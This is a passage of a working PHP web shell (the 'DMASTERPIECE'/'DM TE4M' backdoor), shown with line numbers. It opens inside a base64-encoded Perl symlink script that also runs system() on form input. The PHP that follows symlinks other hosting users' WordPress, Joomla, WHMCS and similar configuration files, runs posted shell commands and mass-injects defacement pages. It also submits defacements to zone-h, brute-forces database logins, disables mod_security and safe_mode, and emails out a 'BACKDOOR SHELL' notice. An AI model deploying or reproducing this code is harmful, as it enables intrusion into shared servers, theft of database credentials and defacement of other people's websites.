9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDI2LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDI3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvcHJvZHVjdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MzAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MzEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDMyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQzMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDM0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvdHJpYWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MzUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDM2LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDM3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvbWFuYWdlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQzOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL215YWNjb3VudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQzOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2FjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0NDAudHh0Jyk7IA0KfQ0KDQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxoMT48aT48dT4tLT1bWyBETSBURTRNIF1dPS0tPC91PjwvaT48L2gxPg0KPGJyIC8+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRleHRhcmVhIG5hbWU9InBhc3MiIHN0eWxlPSJib3JkZXI6MnB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogNTQzcHg7IGhlaWdodDogNDIwcHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkZGRkZGIiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogMjEycHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkZGRkZGOyAiICAvPjxiciAvPg0KJm5ic3A7PC9wPg0KPHA+DQo8aW5wdXQgbmFtZT0iU3VibWl0MSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIEhBSkFSIENPWSAiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiNGRkZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPg0KPC9mb3JtPjxiciAvPjxiciAvPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPlNFTEVTQUkgQk9TIHx8IENFSyBGT0xERVIgSU1BR0VTPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==";
  1620. $write = fwrite($f2 ,base64_decode($sml_perl));
  1621. if($write)
  1622. {@chmod('IMAGES/dancok.pl',0755);}
  1623. echo "</br></br><center><b>GO TO : <a href='IMAGES/dancok.pl' target='_blank'>[+] Symlink Perl [+]</a></center></br>";
  1624. }
  1625. }
  1626.  
  1627. elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
  1628. {
  1629. ?>
  1630. <form action="?y=<?php echo $pwd; ?>&amp;x=zone" method="post">
  1631.  
  1632. <br><br><center>
  1633. <!-- Zone-H -->
  1634. <form action="" method='POST'><table><table class='tabnet'><tr>
  1635. <td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
  1636. <input type="text" class="inputz" name="defacer" value="Nama" />
  1637. <select name="hackmode" class="inputz" >
  1638. <option >[+] PILIH SALAH SATU [+]</option>
  1639. <option value="1">known vulnerability (i.e. unpatched system)</option>
  1640. <option value="2" >undisclosed (new) vulnerability</option>
  1641. <option value="3" >configuration / admin. mistake</option>
  1642. <option value="4" >brute force attack</option>
  1643. <option value="5" >social engineering</option>
  1644. <option value="6" >Web Server intrusion</option>
  1645. <option value="7" >Web Server external module intrusion</option>
  1646. <option value="8" >Mail Server intrusion</option>
  1647. <option value="9" >FTP Server intrusion</option>
  1648. <option value="10" >SSH Server intrusion</option>
  1649. <option value="11" >Telnet Server intrusion</option>
  1650. <option value="12" >RPC Server intrusion</option>
  1651. <option value="13" >Shares misconfiguration</option>
  1652. <option value="14" >Other Server intrusion</option>
  1653. <option value="15" >SQL Injection</option>
  1654. <option value="16" >URL Poisoning</option>
  1655. <option value="17" >File Inclusion</option>
  1656. <option value="18" >Other Web Application bug</option>
  1657. <option value="19" >Remote administrative panel access bruteforcing</option>
  1658. <option value="20" >Remote administrative panel access password guessing</option>
  1659. <option value="21" >Remote administrative panel access social engineering</option>
  1660. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1661. <option value="23" >Access credentials through Man In the Middle attack</option>
  1662. <option value="24" >Remote service password guessing</option>
  1663. <option value="25" >Remote service password bruteforce</option>
  1664. <option value="26" >Rerouting after attacking the Firewall</option>
  1665. <option value="27" >Rerouting after attacking the Router</option>
  1666. <option value="28" >DNS attack through social engineering</option>
  1667. <option value="29" >DNS attack through cache poisoning</option>
  1668. <option value="30" >Not available</option>
  1669. </select>
  1670.  
  1671. <select name="reason" class="inputz" >
  1672. <option >[+] PILIH SALAH SATU [+]</option>
  1673. <option value="1" >Heh...just for fun!</option>
  1674. <option value="2" >Revenge against that website</option>
  1675. <option value="3" >Political reasons</option>
  1676. <option value="4" >As a challenge</option>
  1677. <option value="5" >I just want to be the best defacer</option>
  1678. <option value="6" >Patriotism</option>
  1679. <option value="7" >Not available</option>
  1680. </select>
  1681. <input type="hidden" name="action" value="zone">
  1682. <center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
  1683. <br /><input class='inputzbut' type="submit" value=" >> " name="SendNowToZoneH" /><br></center></table>
  1684. </form></td></tr></table></form>
  1685. <!-- End Of Zone-H -->
  1686. </td></center><br><br>
  1687.  
  1688. <?php
  1689. echo '<center>';
  1690. ob_start();
  1691. $sub = get_loaded_extensions();
  1692. if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
  1693. $hacker = $_POST['defacer'];
  1694. $method = $_POST['hackmode'];
  1695. $neden = $_POST['reason'];
  1696. $site = $_POST['domain'];
  1697.  
  1698. if (empty($hacker)){die ("[-] You Must Fill the Attacker name [+] ");}
  1699. elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
  1700. elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
  1701. elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
  1702. $i = 0;
  1703. $sites = explode("\n", $site);
  1704. while($i < count($sites))
  1705. {
  1706. if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
  1707. ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  1708. echo "Site : ".$sites[$i]." Defaced !\n";
  1709. ++$i;
  1710. }
  1711. echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
  1712. echo '</center>';
  1713. }
  1714.  
  1715.  
  1716. elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink2'))
  1717. {
  1718. echo '</br></br><center><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"><br/><br/><div>';
  1719. echo '</br></br><center><b> SCAN CONFIG SELESAI COK <br/>';
  1720. echo '<br/><a href="anu" target="_blank">[+] CEK DISINI COK :P [+]</a></center><br/>
  1721. <span class="b4">[~] SYMLINK II BY ANU [~]<br/><br/>
  1722. [+] <a href="?y='.$pwd.'&amp;x=anu1"> VAR_NAMED </a> [+]<br/><br/>
  1723. [+] <a href="?y='.$pwd.'&amp;x=anu2"> ETC_PASSWD </a> [+]<br/><br/>
  1724. [+] <a href="?y='.$pwd.'&amp;x=anu3"> ETC_NAMED.CONF </a> [+]<br/><br/>
  1725. [+] <a href="?y='.$pwd.'&amp;x=anu4"> ETC_VALIASES </a> [+]</span><br/><br/>
  1726. </div></center><br/>';
  1727.  
  1728.  
  1729. @mkdir('anu',0777);
  1730. @symlink("/","anu/r00t");
  1731. $kimcil = "Options all
  1732. DirectoryIndex Sux.html
  1733. AddType text/plain .php
  1734. AddHandler server-parsed .php
  1735. AddType text/plain .html
  1736. AddHandler txt .html
  1737. Require None
  1738. Satisfy Any";
  1739.  
  1740. file_put_contents("anu/.htaccess",$kimcil);
  1741. $ambil = file_get_contents("/etc/passwd");
  1742. $hasil = explode("\n",$ambil);
  1743.  
  1744. ## Colok Root ##
  1745. foreach($hasil as $bongkar){
  1746. $etcc = explode(":",$bongkar);
  1747. error_reporting(0);
  1748. $current_dir = posix_getcwd();
  1749. $dir = explode("/",$current_dir);
  1750.  
  1751. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"anu/".$etcc[0].'~WP.cok');
  1752. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"anu/".$etcc[0].'~WP.cok');
  1753. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"anu/".$etcc[0].'~WP.cok');
  1754. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"anu/".$etcc[0].'~WP.cok');
  1755. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"anu/".$etcc[0].'~PhpBB.cok');
  1756. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"anu/".$etcc[0].'~vBulletin.cok');
  1757. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
  1758. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
  1759. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
  1760. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
  1761. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"anu/".$etcc[0].'~IPB.cok');
  1762. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"anu/".$etcc[0].'~MyBB.cok');
  1763. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"anu/".$etcc[0].'~SMF.cok');
  1764. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"anu/".$etcc[0].'~Drupal.cok');
  1765. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"anu/".$etcc[0].'~e107.cok');
  1766. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"anu/".$etcc[0].'~Seditio.cok');
  1767. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"anu/".$etcc[0].'~osCommerce.cok');
  1768. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1769. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1770. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1771. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1772. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1773. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1774. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1775. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1776. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1777. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1778. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1779. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1780. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
  1781. }
  1782.  
  1783.  
  1784. }
  1785.  
  1786.  
  1787.  
  1788.  
  1789. elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
  1790. {
  1791. echo '</br></br><center><div>
  1792.  
  1793. [ <a href="?y='.$pwd.'&amp;x=sym2"> DOMAINS & USERS & SYMLINK </a> ]<br/><br/>
  1794. [ <a href="?y='.$pwd.'&amp;x=sym"> DOMAINS & USERS & SYMLINK & CMS </a> ]<br/><br/>
  1795. [ <a href="?y='.$pwd.'&amp;x=pl"> SYMLINK PERL CONFIG </a> ]<br/><br/>
  1796. </div></center><br/>';
  1797.  
  1798.  
  1799.  
  1800. $pfile = $_POST['file'];
  1801. $symfile = $_POST['symfile'];
  1802. $symlink = $_POST['symlink'];
  1803.  
  1804. if ($symlink)
  1805. {
  1806. @mkdir('sym',0777);
  1807. $c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
  1808. $f =@fopen ('sym/.htaccess','w');
  1809. @fwrite($f , $c);
  1810. @symlink("$pfile","sym/$symfile");
  1811.  
  1812. echo '<br /><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a></center>';
  1813. }
  1814. }
  1815.  
  1816. elseif(isset($_GET['x']) && ($_GET['x'] == 'posisi'))
  1817. {
  1818. //Function Begin
  1819. function curPageURL() {
  1820. $pageURLe = 'http';
  1821. if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
  1822. $pageURLe .= "://";
  1823. if ($_SERVER["SERVER_PORT"] != "80") {
  1824. $pageURLe .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  1825. } else {
  1826. $pageURLe .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  1827. }
  1828. return $pageURLe;
  1829. }
  1830.  
  1831. $votremail=$_SERVER['SERVER_ADMIN'];
  1832. $objet='BACKDOOR SHELL';
  1833. $message=curPageURL();
  1834. $headers='From:'.$votremail."\r\n".'To:'.$destinataire."\r\n".'Subject:'.$objet."\r\n".'Content-type:text/plain;charset=iso-8859-1'."\r\n".'Sent:'.date('l, F d, Y H:i');
  1835. if(mail($destinataire,$objet,$message,$headers))
  1836. {echo "<br><center><b>CEK INBOX ATAU SPAM E-MAIL : </b><br/><p><b>[+] $destinataire [+]</b><center>";}
  1837. else
  1838. {
  1839. echo "<br><center><font size=4 color=red>Erreur...</font><center>";}
  1840. }
  1841. else if(isset($_POST['executecmd']))
  1842. {
  1843. $check = shell_exec($_POST['mycmd']);
  1844. echo "<textarea cols=120 rows=20 class=box>" . $check . "</textarea>";
  1845. }
  1846.  
  1847. elseif(isset($_GET['x']) && ($_GET['x'] == 'inject'))
  1848. {
  1849. ?>
  1850. <center><table id="margins" >
  1851. <tr>
  1852. <form method='POST'><input type="hidden" name="injector"/>
  1853. <tr><td width="30" class="title">
  1854. DIR : <input class="inputz" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>"/></td></tr>
  1855. <tr><td class="title">
  1856. Mode : <select class="inputz" name="mode" style="width:130px;">
  1857. <option value="Apender">SEMI INJECT</option>
  1858. <option value="Overwriter">FULL Inject</option>
  1859. </select></td></tr>
  1860. <tr><td class="title">
  1861. File Type : <input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value=='')this.value='.php';"/></td></tr>
  1862. <tr><td colspan="2">
  1863. <textarea name="injectthis" cols="110" rows="10" class="inputz">
  1864. <?php echo base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4="); ?>
  1865. </textarea></td></tr>
  1866. <tr><td rowspan="2">
  1867. <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
  1868. </form></table></center>
  1869.  
  1870.  
  1871.  
  1872. <?php
  1873. }
  1874. elseif(isset($_GET['x']) && ($_GET['x'] == 'bruteforce'))
  1875. {
  1876. $f =@fopen ('dmshell.txt','w');
  1877. if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  1878. else{
  1879. foreach($users as $user) {
  1880. @fwrite($f , $user);
  1881. @fwrite($f , "\n");
  1882. }}
  1883. echo '<br><center><font size=3 color=green>[+] BUKA dmshell.txt <a href=dmshell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>';
  1884. ?>
  1885.  
  1886. <form method="POST" target="_self">
  1887. <input name="page" type="hidden" value="find">
  1888. <table width="33%" cellpadding="3" cellspacing="1" align="center">
  1889. <tr>
  1890. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1891. <strong>User :</strong></td>
  1892. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td>
  1893. </tr>
  1894. <tr>
  1895. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1896. <strong>Pass :</strong></td>
  1897. <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td>
  1898. </tr>
  1899. <tr>
  1900. <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  1901. <strong>Type :</strong></td>
  1902. <td valign="top" bgcolor="#151515" colspan="5">
  1903. <span class="style2"><strong>Simple : </strong> </span>
  1904. <strong>
  1905. <input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  1906. <font class="style2"><strong>/etc/passwd : </strong> </font>
  1907. <strong>
  1908. <input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  1909. </strong>
  1910. </span>
  1911. </td></tr>
  1912. <tr>
  1913. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  1914. <td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
  1915. </td><tr></form>
  1916.  
  1917.  
  1918. <?php
  1919. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  1920. {
  1921. if($_POST['type'] == 'passwd'){
  1922. $e = explode("\n",$_POST['usernames']);
  1923. foreach($e as $value){
  1924. $k = explode(":",$value);
  1925. $username .= $k['0']." ";
  1926. }
  1927. }elseif($_POST['type'] == 'simple'){
  1928. $username = str_replace("\n",' ',$_POST['usernames']);
  1929. }
  1930. $a1 = explode(" ",$username);
  1931. $a2 = explode("\n",$_POST['passwords']);
  1932. $id2 = count($a2);
  1933. $ok = 0;
  1934. foreach($a1 as $user )
  1935. {
  1936. if($user !== '')
  1937. {
  1938. $user=trim($user);
  1939. for($i=0;$i<=$id2;$i++)
  1940. {
  1941. $pass = trim($a2[$i]);
  1942. if(@mysql_connect('localhost',$user,$pass))
  1943. {
  1944. echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
  1945. $ok++;
  1946. }
  1947. }
  1948. }
  1949. }
  1950. echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
  1951. echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1952. exit;
  1953. }
  1954. }
  1955.  
  1956. elseif(isset($_GET['x']) && ($_GET['x'] == 'safemodeoff'))
  1957. {
  1958. $file_pointer = fopen(".htaccess", "w+");
  1959. fwrite($file_pointer, "<IfModule mod_security.c>
  1960. SecFilterEngine Off
  1961. SecFilterScanPOST Off
  1962. </IfModule>");
  1963.  
  1964. $file_pointer = fopen("ini.php", "w+");
  1965. fwrite($file_pointer, "<?
  1966. echo ini_get(\"safe_mode\");
  1967. echo ini_get(\"open_basedir\");
  1968. include(\$_GET[\"file\"]);
  1969. ini_restore(\"safe_mode\");
  1970. ini_restore(\"open_basedir\");
  1971. echo ini_get(\"safe_mode\");
  1972. echo ini_get(\"open_basedir\");
  1973. include(\$_GET[\"ss\"]);
  1974. ?>");
  1975.  
  1976. $file_pointer = fopen("php.ini", "w+");
  1977. fwrite($file_pointer, "safe_mode = Off");
  1978. fwrite($file_pointer, "\n disable_functions = NONE");
  1979. fclose($file_pointer);
  1980. echo "<center>[+] Safe Mode Off Succesfully [+]</center>";
  1981. }
  1982.  
  1983. elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')) {
  1984. if(isset($_POST['mail_send'])) {
  1985. $mail_to = $_POST['mail_to'];
  1986. $mail_from = $_POST['mail_from'];
  1987. $mail_subject = $_POST['mail_subject'];
  1988. $mail_content = magicboom($_POST['mail_content']);
  1989. if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")) {
  1990. $msg = "email sent to $mail_to";
  1991. } else $msg = "send email failed";
  1992. }
  1993. ?>
  1994.  
  1995. <form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
  1996. <table class="cmdbox"><tr>
  1997. <td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">DMASTERPIECE TEAM WAS HERE</textarea>
  1998. <tr><td>EMAIL TO :&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /></td></tr>
  1999. <tr><td>EMAIL FROM :&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /></td></tr>
  2000. <tr><td>SUBJECT :&nbsp;<input class="inputz" style="width:20%;" type="text" value=" PROBLEM ?" name="mail_subject" /></td></tr>
  2001. <tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value=" >> " name="mail_send"/></td></tr></form>
  2002. <tr><td>&nbsp;&nbsp;<?php echo $msg; ?></td></tr> </table> </form>
  2003.  
  2004.  
  2005. <?php }
  2006.  
  2007. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
  2008. @ob_start();
  2009. @eval("phpinfo();");
  2010. $buff = @ob_get_contents();
  2011. @ob_end_clean();
  2012. $awal = strpos($buff,"<body>")+6;
  2013. $akhir = strpos($buff,"</body>");
  2014. echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
  2015. } elseif(isset($_GET['view']) && ($_GET['view'] != "")) {
  2016. if(is_file($_GET['view'])) {
  2017. if(!isset($file)) $file = magicboom($_GET['view']);
  2018. if(!$win && $posix) {
  2019. $name=@posix_getpwuid(@fileowner($file));
  2020. $group=@posix_getgrgid(@filegroup($file));
  2021. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  2022. } else {
  2023. $owner = $user;
  2024. } $filn = basename($file);
  2025.  
  2026. echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
